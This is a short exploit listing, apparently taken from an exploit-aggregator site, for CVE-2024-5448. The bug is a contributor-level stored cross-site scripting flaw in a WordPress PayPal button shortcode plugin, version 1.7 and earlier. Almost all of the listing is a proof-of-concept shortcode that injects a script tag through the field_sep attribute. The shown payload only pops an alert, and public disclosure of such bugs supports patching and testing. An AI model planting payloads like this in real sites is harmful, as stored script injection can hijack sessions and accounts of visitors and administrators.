Exploit for PayPal Pay Now, Buy Now, Donation and Cart Buttons Shortcode <= 1.7 - Contributor+ Stored XSS CVE-2024-5448

## https://sploitus.com/exploit?id=WPEX-ID:C482FE19-B643-41EA-8194-22776B388290
```
[paypal_button type="addtocart" name='name' amount="199: quantity="1-5" add_note="test note" quantity_txt_postfix="test postfix" field_sep="<script>alert(1)</script>"]
```